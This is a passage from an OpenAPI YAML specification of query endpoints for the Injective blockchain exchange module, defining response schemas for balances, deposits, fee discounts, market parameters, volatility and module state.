type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: denom | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/denom_decimals: | |
get: | |
summary: |- | |
Retrieves the denom decimals for multiple denoms. Returns all denom | |
decimals if unspecified. | |
operationId: DenomDecimals | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
denom_decimals: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
decimals: | |
type: string | |
format: uint64 | |
description: >- | |
QueryDenomDecimalsRequest is the response type for the | |
Query/DenomDecimals | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: denoms | |
description: denoms can be empty to query all denom decimals. | |
in: query | |
required: false | |
type: array | |
items: | |
type: string | |
collectionFormat: multi | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/exchangeBalances: | |
get: | |
summary: Retrieves all of the balances of all users on the exchange. | |
operationId: ExchangeBalances | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balances: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
denom: | |
type: string | |
deposits: | |
type: object | |
properties: | |
available_balance: | |
type: string | |
total_balance: | |
type: string | |
title: A subaccount's deposit for a given base currency | |
description: |- | |
QuerySubaccountDepositsResponse is the response type for the | |
Query/SubaccountDeposits RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/subaccountDeposit: | |
get: | |
summary: Retrieves a Subaccount's Deposits | |
operationId: SubaccountDeposit | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
deposits: | |
type: object | |
properties: | |
available_balance: | |
type: string | |
total_balance: | |
type: string | |
title: A subaccount's deposit for a given base currency | |
description: |- | |
QuerySubaccountDepositsResponse is the response type for the | |
Query/SubaccountDeposits RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: query | |
required: false | |
type: string | |
- name: denom | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/subaccountDeposits: | |
get: | |
summary: Retrieves a Subaccount's Deposits | |
operationId: SubaccountDeposits | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
deposits: | |
type: object | |
additionalProperties: | |
type: object | |
properties: | |
available_balance: | |
type: string | |
total_balance: | |
type: string | |
title: A subaccount's deposit for a given base currency | |
description: |- | |
QuerySubaccountDepositsResponse is the response type for the | |
Query/SubaccountDeposits RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: query | |
required: false | |
type: string | |
- name: subaccount.trader | |
in: query | |
required: false | |
type: string | |
- name: subaccount.subaccount_nonce | |
in: query | |
required: false | |
type: integer | |
format: int64 | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchange/{subaccount_id}: | |
get: | |
summary: Retrieves a subaccount's trade nonce | |
operationId: SubaccountTradeNonce | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
nonce: | |
type: integer | |
format: int64 | |
description: |- | |
QuerySubaccountTradeNonceResponse is the response type for the | |
Query/SubaccountTradeNonce RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: subaccount_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/exchangeParams: | |
get: | |
summary: Retrieves exchange params | |
operationId: QueryExchangeParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
spot_market_instant_listing_fee: | |
title: >- | |
spot_market_instant_listing_fee defines the expedited fee | |
in INJ required | |
to create a spot market by bypassing governance | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
derivative_market_instant_listing_fee: | |
title: >- | |
derivative_market_instant_listing_fee defines the | |
expedited fee in INJ | |
required to create a derivative market by bypassing | |
governance | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
default_spot_maker_fee_rate: | |
type: string | |
title: >- | |
default_spot_maker_fee defines the default exchange trade | |
fee for makers on | |
a spot market | |
default_spot_taker_fee_rate: | |
type: string | |
title: >- | |
default_spot_taker_fee_rate defines the default exchange | |
trade fee rate for | |
takers on a new spot market | |
default_derivative_maker_fee_rate: | |
type: string | |
title: >- | |
default_derivative_maker_fee defines the default exchange | |
trade fee for | |
makers on a new derivative market | |
default_derivative_taker_fee_rate: | |
type: string | |
title: >- | |
default_derivative_taker_fee defines the default exchange | |
trade fee for | |
takers on a new derivative market | |
default_initial_margin_ratio: | |
type: string | |
title: >- | |
default_initial_margin_ratio defines the default initial | |
margin ratio on a | |
new derivative market | |
default_maintenance_margin_ratio: | |
type: string | |
title: >- | |
default_maintenance_margin_ratio defines the default | |
maintenance margin | |
ratio on a new derivative market | |
default_funding_interval: | |
type: string | |
format: int64 | |
title: >- | |
default_funding_interval defines the default funding | |
interval on a | |
derivative market | |
funding_multiple: | |
type: string | |
format: int64 | |
title: >- | |
funding_multiple defines the timestamp multiple that the | |
funding timestamp | |
should be a multiple of | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the trade fee share | |
percentage that goes to | |
relayers | |
default_hourly_funding_rate_cap: | |
type: string | |
title: >- | |
default_hourly_funding_rate_cap defines the default | |
maximum absolute value | |
of the hourly funding rate | |
default_hourly_interest_rate: | |
type: string | |
title: hourly_interest_rate defines the hourly interest rate | |
max_derivative_order_side_count: | |
type: integer | |
format: int64 | |
title: >- | |
max_derivative_order_side_count defines the maximum number | |
of derivative | |
active orders a subaccount can have for a given orderbook | |
side | |
inj_reward_staked_requirement_threshold: | |
type: string | |
title: >- | |
inj_reward_staked_requirement_threshold defines the | |
threshold on INJ | |
rewards after which one also needs staked INJ to receive | |
more | |
trading_rewards_vesting_duration: | |
type: string | |
format: int64 | |
title: >- | |
the trading_rewards_vesting_duration defines the vesting | |
times for trading | |
rewards | |
liquidator_reward_share_rate: | |
type: string | |
title: >- | |
liquidator_reward_share_rate defines the ratio of the | |
split of the surplus | |
collateral that goes to the liquidator | |
binary_options_market_instant_listing_fee: | |
title: >- | |
binary_options_market_instant_listing_fee defines the | |
expedited fee in INJ | |
required to create a derivative market by bypassing | |
governance | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
atomic_market_order_access_level: | |
title: >- | |
atomic_market_order_access_level defines the required | |
access permissions | |
for executing atomic market orders | |
type: string | |
enum: | |
- Nobody | |
- BeginBlockerSmartContractsOnly | |
- SmartContractsOnly | |
- Everyone | |
default: Nobody | |
spot_atomic_market_order_fee_multiplier: | |
type: string | |
title: >- | |
spot_atomic_market_order_fee_multiplier defines the | |
default multiplier for | |
executing atomic market orders in spot markets | |
derivative_atomic_market_order_fee_multiplier: | |
type: string | |
title: >- | |
derivative_atomic_market_order_fee_multiplier defines the | |
default | |
multiplier for executing atomic market orders in | |
derivative markets | |
binary_options_atomic_market_order_fee_multiplier: | |
type: string | |
title: >- | |
binary_options_atomic_market_order_fee_multiplier defines | |
the default | |
multiplier for executing atomic market orders in binary | |
markets | |
minimal_protocol_fee_rate: | |
type: string | |
title: >- | |
minimal_protocol_fee_rate defines the minimal protocol fee | |
rate | |
is_instant_derivative_market_launch_enabled: | |
type: boolean | |
title: >- | |
is_instant_derivative_market_launch_enabled defines | |
whether instant | |
derivative market launch is enabled | |
description: >- | |
QueryExchangeParamsRequest is the response type for the | |
Query/ExchangeParams | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/expiry_market_info/{market_id}: | |
get: | |
summary: Retrieves expiry market info | |
operationId: ExpiryFuturesMarketInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
info: | |
type: object | |
properties: | |
market_id: | |
type: string | |
description: market ID. | |
expiration_timestamp: | |
type: string | |
format: int64 | |
description: >- | |
expiration_timestamp defines the expiration time for a | |
time expiry futures | |
market. | |
twap_start_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
expiration_twap_start_timestamp defines the start time of | |
the TWAP | |
calculation window | |
expiration_twap_start_price_cumulative: | |
type: string | |
title: >- | |
expiration_twap_start_price_cumulative defines the | |
cumulative price for the | |
start of the TWAP window | |
settlement_price: | |
type: string | |
description: >- | |
settlement_price defines the settlement price for a time | |
expiry futures | |
market. | |
description: >- | |
QueryExpiryFuturesMarketInfoResponse is the response type for the | |
Query/ | |
ExpiryFuturesMarketInfo RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/fee_discount_account_info/{account}: | |
get: | |
summary: Retrieves the account's fee discount info | |
operationId: FeeDiscountAccountInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
tier_level: | |
type: string | |
format: uint64 | |
account_info: | |
type: object | |
properties: | |
maker_discount_rate: | |
type: string | |
taker_discount_rate: | |
type: string | |
staked_amount: | |
type: string | |
volume: | |
type: string | |
account_ttl: | |
type: object | |
properties: | |
tier: | |
type: string | |
format: uint64 | |
ttl_timestamp: | |
type: string | |
format: int64 | |
description: |- | |
QueryFeeDiscountAccountInfoResponse is the response type for the | |
Query/FeeDiscountAccountInfo RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: account | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/fee_discount_schedule: | |
get: | |
summary: Retrieves the fee discount schedule | |
operationId: FeeDiscountSchedule | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
fee_discount_schedule: | |
type: object | |
properties: | |
bucket_count: | |
type: string | |
format: uint64 | |
bucket_duration: | |
type: string | |
format: int64 | |
quote_denoms: | |
type: array | |
items: | |
type: string | |
title: >- | |
the trading fee quote denoms which will be counted for the | |
fee paid | |
contribution | |
tier_infos: | |
type: array | |
items: | |
type: object | |
properties: | |
maker_discount_rate: | |
type: string | |
taker_discount_rate: | |
type: string | |
staked_amount: | |
type: string | |
volume: | |
type: string | |
title: the fee discount tiers | |
disqualified_market_ids: | |
type: array | |
items: | |
type: string | |
title: >- | |
the marketIDs which are disqualified from contributing to | |
the fee paid | |
amount | |
description: |- | |
QueryFeeDiscountScheduleResponse is the response type for the | |
Query/FeeDiscountSchedule RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/fee_discount_tier_stats: | |
get: | |
summary: Retrieves fee discount tier stats | |
operationId: FeeDiscountTierStatistics | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
statistics: | |
type: array | |
items: | |
type: object | |
properties: | |
tier: | |
type: string | |
format: uint64 | |
count: | |
type: string | |
format: uint64 | |
description: >- | |
QueryFeeDiscountTierStatisticsResponse is the response type for | |
the | |
Query/QueryFeeDiscountTierStatistics RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/historical_trade_records: | |
get: | |
summary: Retrieves historical trade records for a given market ID | |
operationId: HistoricalTradeRecords | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
trade_records: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
latest_trade_records: | |
type: array | |
items: | |
type: object | |
properties: | |
timestamp: | |
type: string | |
format: int64 | |
price: | |
type: string | |
quantity: | |
type: string | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/is_opted_out_of_rewards/{account}: | |
get: | |
summary: Retrieves if the account is opted out of rewards | |
operationId: IsOptedOutOfRewards | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
is_opted_out: | |
type: boolean | |
description: |- | |
QueryIsRegisteredDMMResponse is the response type for the | |
Query/IsRegisteredDMM RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: account | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/exchange/v1beta1/market_volatility/{market_id}: | |
get: | |
summary: |- | |
MarketVolatility computes the volatility for spot and derivative markets | |
trading history. | |
operationId: MarketVolatility | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
volatility: | |
type: string | |
history_metadata: | |
type: object | |
properties: | |
group_count: | |
type: integer | |
format: int64 | |
title: >- | |
GroupCount refers to the number of groups used. Equals | |
RecordsSampleSize if | |
no grouping is used | |
records_sample_size: | |
type: integer | |
format: int64 | |
description: >- | |
RecordsSampleSize refers to the total number of records | |
used. | |
mean: | |
type: string | |
title: >- | |
Mean refers to the arithmetic mean | |
For trades, the mean is the VWAP computed over the grouped | |
trade records ∑ | |
(price * quantity) / ∑ quantity For oracle prices, the | |
mean is computed | |
over the price records ∑ (price) / prices_count | |
twap: | |
type: string | |
title: >- | |
TWAP refers to the time-weighted average price which | |
equals ∑ (price_i * | |
∆t_i) / ∑ ∆t_i where ∆t_i = t_i - t_{i-1} | |
first_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
FirstTimestamp is the timestamp of the oldest record | |
considered | |
last_timestamp: | |
type: string | |
format: int64 | |
title: >- | |
LastTimestamp is the timestamp of the youngest record | |
considered | |
min_price: | |
type: string | |
title: >- | |
MinPrice refers to the smallest individual raw price | |
considered | |
max_price: | |
type: string | |
title: >- | |
MaxPrice refers to the largest individual raw price | |
considered | |
median_price: | |
type: string | |
title: >- | |
MedianPrice refers to the median individual raw price | |
considered | |
title: >- | |
MetadataStatistics refers to the metadata summary statistics | |
of the | |
historical sample considered | |
raw_history: | |
type: array | |
items: | |
type: object | |
properties: | |
timestamp: | |
type: string | |
format: int64 | |
price: | |
type: string | |
quantity: | |
type: string | |
description: |- | |
QueryMarketVolatilityResponse is the response type for the | |
Query/MarketVolatility RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: market_id | |
in: path | |
required: true | |
type: string | |
- name: trade_history_options.trade_grouping_sec | |
description: TradeGroupingSec of 0 means use the chain's default grouping. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: trade_history_options.max_age | |
description: >- | |
MaxAge restricts the trade records oldest age in seconds from the | |
current block time to consider. | |
A value of 0 means use all the records present on the chain. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: trade_history_options.include_raw_history | |
description: |- | |
If IncludeRawHistory is true, the raw underlying data used for the | |
computation is included in the response. | |
in: query | |
required: false | |
type: boolean | |
- name: trade_history_options.include_metadata | |
description: >- | |
If IncludeMetadata is true, metadata on the computation is included | |
in the | |
response. | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/injective/exchange/v1beta1/mito_vault_infos: | |
get: | |
summary: Retrieves market making pool info | |
operationId: MitoVaultInfos | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
master_addresses: | |
type: array | |
items: | |
type: string | |
derivative_addresses: | |
type: array | |
items: | |
type: string | |
spot_addresses: | |
type: array | |
items: | |
type: string | |
cw20_addresses: | |
type: array | |
items: | |
type: string | |
description: >- | |
MitoVaultInfosResponse is the response type for the | |
Query/MitoVaultInfos RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/exchange/v1beta1/module_state: | |
get: | |
summary: Retrieves the entire exchange module's state | |
operationId: ExchangeModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
type: object | |
properties: | |
spot_market_instant_listing_fee: | |
title: >- | |
spot_market_instant_listing_fee defines the expedited | |
fee in INJ required | |
to create a spot market by bypassing governance | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
derivative_market_instant_listing_fee: | |
title: >- | |
derivative_market_instant_listing_fee defines the | |
expedited fee in INJ | |
required to create a derivative market by bypassing | |
governance | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
default_spot_maker_fee_rate: | |
type: string | |
title: >- | |
default_spot_maker_fee defines the default exchange | |
trade fee for makers on | |
a spot market | |
default_spot_taker_fee_rate: | |
type: string | |
title: >- | |
default_spot_taker_fee_rate defines the default | |
exchange trade fee rate for | |
takers on a new spot market | |
default_derivative_maker_fee_rate: | |
type: string | |
title: >- | |
default_derivative_maker_fee defines the default | |
exchange trade fee for | |
makers on a new derivative market | |
default_derivative_taker_fee_rate: | |
type: string | |
title: >- | |
default_derivative_taker_fee defines the default | |
exchange trade fee for | |
takers on a new derivative market | |
default_initial_margin_ratio: | |
type: string | |
title: >- | |
default_initial_margin_ratio defines the default | |
initial margin ratio on a | |
new derivative market | |
default_maintenance_margin_ratio: | |
type: string | |
title: >- | |
default_maintenance_margin_ratio defines the default | |
maintenance margin | |
ratio on a new derivative market | |
default_funding_interval: | |
type: string | |
format: int64 | |
title: >- | |
default_funding_interval defines the default funding | |
interval on a | |
derivative market | |
funding_multiple: | |
type: string | |
format: int64 | |
title: >- | |
funding_multiple defines the timestamp multiple that | |
the funding timestamp | |
should be a multiple of | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the trade fee share | |
percentage that goes to | |
relayers | |
default_hourly_funding_rate_cap: | |
type: string | |
title: >- | |
default_hourly_funding_rate_cap defines the default | |
maximum absolute value | |
of the hourly funding rate | |
default_hourly_interest_rate: | |
type: string | |
title: hourly_interest_rate defines the hourly interest rate | |
max_derivative_order_side_count: | |
type: integer | |
format: int64 | |
title: >- | |
max_derivative_order_side_count defines the maximum | |
number of derivative | |
active orders a subaccount can have for a given | |
orderbook side | |
inj_reward_staked_requirement_threshold: | |
type: string | |
title: >- | |
inj_reward_staked_requirement_threshold defines the | |
threshold on INJ | |
rewards after which one also needs staked INJ to | |
receive more | |
trading_rewards_vesting_duration: | |
type: string | |
format: int64 | |
title: >- | |
the trading_rewards_vesting_duration defines the | |
vesting times for trading | |
rewards | |
liquidator_reward_share_rate: | |
type: string | |
title: >- | |
liquidator_reward_share_rate defines the ratio of the | |
split of the surplus | |
collateral that goes to the liquidator | |
binary_options_market_instant_listing_fee: | |
title: >- | |
binary_options_market_instant_listing_fee defines the | |
expedited fee in INJ | |
required to create a derivative market by bypassing | |
governance | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
atomic_market_order_access_level: | |
title: >- | |
atomic_market_order_access_level defines the required | |
access permissions | |
for executing atomic market orders | |
type: string | |
enum: | |
- Nobody | |
- BeginBlockerSmartContractsOnly | |
- SmartContractsOnly | |
- Everyone | |
default: Nobody | |
spot_atomic_market_order_fee_multiplier: | |
type: string | |
title: >- | |
spot_atomic_market_order_fee_multiplier defines the | |
default multiplier for | |
executing atomic market orders in spot markets | |
derivative_atomic_market_order_fee_multiplier: | |
type: string | |
title: >- | |
derivative_atomic_market_order_fee_multiplier defines | |
the default | |
multiplier for executing atomic market orders in | |
derivative markets | |
binary_options_atomic_market_order_fee_multiplier: | |
type: string | |
title: >- | |
binary_options_atomic_market_order_fee_multiplier | |
defines the default | |
multiplier for executing atomic market orders in | |
binary markets | |
minimal_protocol_fee_rate: | |
type: string | |
title: >- | |
minimal_protocol_fee_rate defines the minimal protocol | |
fee rate | |
is_instant_derivative_market_launch_enabled: | |
type: boolean | |
title: >- | |
is_instant_derivative_market_launch_enabled defines | |
whether instant | |
derivative market launch is enabled | |
description: params defines all the parameters of related to exchange. | |
spot_markets: | |
type: array | |
items: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: >- | |
A name of the pair in format AAA/BBB, where AAA is | |
base asset, BBB is quote | |
asset. | |
base_denom: | |
type: string | |
title: Coin denom used for the base asset | |
quote_denom: | |
type: string | |
title: Coin used for the quote asset | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the fee percentage makers pay | |
when trading | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the fee percentage takers pay | |
when trading | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
market_id: | |
type: string | |
description: Unique market ID. | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size | |
that the price required | |
for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
description: An object describing trade pair of two assets. | |
title: >- | |
spot_markets is an array containing the genesis trade | |
pairs | |
derivative_markets: | |
type: array | |
items: | |
type: object | |
properties: | |
ticker: | |
type: string | |
description: Ticker for the derivative contract. | |
oracle_base: | |
type: string | |
title: Oracle base currency | |
oracle_quote: | |
type: string | |
title: Oracle quote currency | |
oracle_type: | |
title: Oracle type | |
type: string | |
enum: | |
- Unspecified | |
- Band | |
- PriceFeed | |
- Coinbase | |
- Chainlink | |
- Razor | |
- Dia | |
- API3 | |
- Uma | |
- Pyth | |
- BandIBC | |
- Provider | |
default: Unspecified | |
oracle_scale_factor: | |
type: integer | |
format: int64 | |
description: Scale factor for oracle prices. | |
quote_denom: | |
type: string | |
title: >- | |
Address of the quote currency denomination for the | |
derivative contract | |
market_id: | |
type: string | |
description: Unique market ID. | |
initial_margin_ratio: | |
type: string | |
title: >- | |
initial_margin_ratio defines the initial margin | |
ratio of a derivative | |
market | |
maintenance_margin_ratio: | |
type: string | |
title: >- | |
maintenance_margin_ratio defines the maintenance | |
margin ratio of a | |
derivative market | |
maker_fee_rate: | |
type: string | |
title: >- | |
maker_fee_rate defines the maker fee rate of a | |
derivative market | |
taker_fee_rate: | |
type: string | |
title: >- | |
taker_fee_rate defines the taker fee rate of a | |
derivative market | |
relayer_fee_share_rate: | |
type: string | |
title: >- | |
relayer_fee_share_rate defines the percentage of the | |
transaction fee shared | |
with the relayer in a derivative market | |
isPerpetual: | |
type: boolean | |
title: >- | |
true if the market is a perpetual market. false if | |
the market is an expiry | |
futures market | |
status: | |
title: Status of the market | |
type: string | |
enum: | |
- Unspecified | |
- Active | |
- Paused | |
- Demolished | |
- Expired | |
default: Unspecified | |
min_price_tick_size: | |
type: string | |
title: >- | |
min_price_tick_size defines the minimum tick size | |
that the price and margin | |
required for orders in the market | |
min_quantity_tick_size: | |
type: string | |
title: >- | |
min_quantity_tick_size defines the minimum tick size | |
of the quantity | |
required for orders in the market | |
description: >- | |
An object describing a derivative market in the | |
Injective Futures Protocol. | |
title: >- | |
derivative_markets is an array containing the genesis | |
derivative markets | |
spot_orderbook: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
isBuySide: | |
type: boolean | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order_info: | |
title: >- | |
order_info contains the information of the | |
order | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
title: >- | |
bytes32 subaccount ID that created the | |
order | |
fee_recipient: | |
type: string | |
title: >- | |
address fee_recipient address that will | |
receive fees for the order | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
order_type: | |
title: order types | |
type: string | |
enum: | |
- UNSPECIFIED | |
- BUY | |
- SELL | |
- STOP_BUY | |
- STOP_SELL | |
- TAKE_BUY | |
- TAKE_SELL | |
- BUY_PO | |
- SELL_PO | |
- BUY_ATOMIC | |
- SELL_ATOMIC | |
default: UNSPECIFIED | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
trigger_price: | |
type: string | |
title: >- | |
trigger_price is the trigger price used by | |
stop/take orders | |
order_hash: | |
type: string | |
format: byte | |
description: A valid Spot limit order with Metadata. | |
title: Spot Exchange Limit Orderbook | |
description: >- | |
spot_orderbook defines the spot exchange limit orderbook | |
active at genesis. | |
derivative_orderbook: | |
type: array | |
items: | |
type: object | |
properties: | |
market_id: | |
type: string | |
isBuySide: | |
type: boolean | |
orders: | |
type: array | |
items: | |
type: object | |
properties: | |
order_info: | |
title: >- | |
order_info contains the information of the | |
order | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
title: >- | |
bytes32 subaccount ID that created the | |
order | |
fee_recipient: | |
type: string | |
title: >- | |
address fee_recipient address that will | |
receive fees for the order | |
price: | |
type: string | |
title: price of the order | |
quantity: | |
type: string | |
title: quantity of the order | |
order_type: | |
title: order types | |
type: string | |
enum: | |
- UNSPECIFIED | |
- BUY | |
- SELL | |
- STOP_BUY | |
- STOP_SELL | |
- TAKE_BUY | |
- TAKE_SELL | |
- BUY_PO | |
- SELL_PO | |
- BUY_ATOMIC | |
- SELL_ATOMIC | |
default: UNSPECIFIED | |
margin: | |
type: string | |
title: margin is the margin used by the limit order | |
fillable: | |
type: string | |
title: the amount of the quantity remaining fillable | |
trigger_price: | |
type: string | |
title: >- | |
trigger_price is the trigger price used by | |
stop/take orders | |
order_hash: | |
type: string | |
format: byte | |
description: A valid Derivative limit order with Metadata. | |
title: Derivative Exchange Limit Orderbook | |
description: >- | |
derivative_orderbook defines the derivative exchange limit | |
orderbook active | |
at genesis. | |
balances: | |
type: array | |
items: | |
type: object | |
properties: | |
subaccount_id: | |
type: string | |
denom: | |
type: string | |
deposits: | |
type: object | |
properties: | |
available_balance: | |
type: string | |
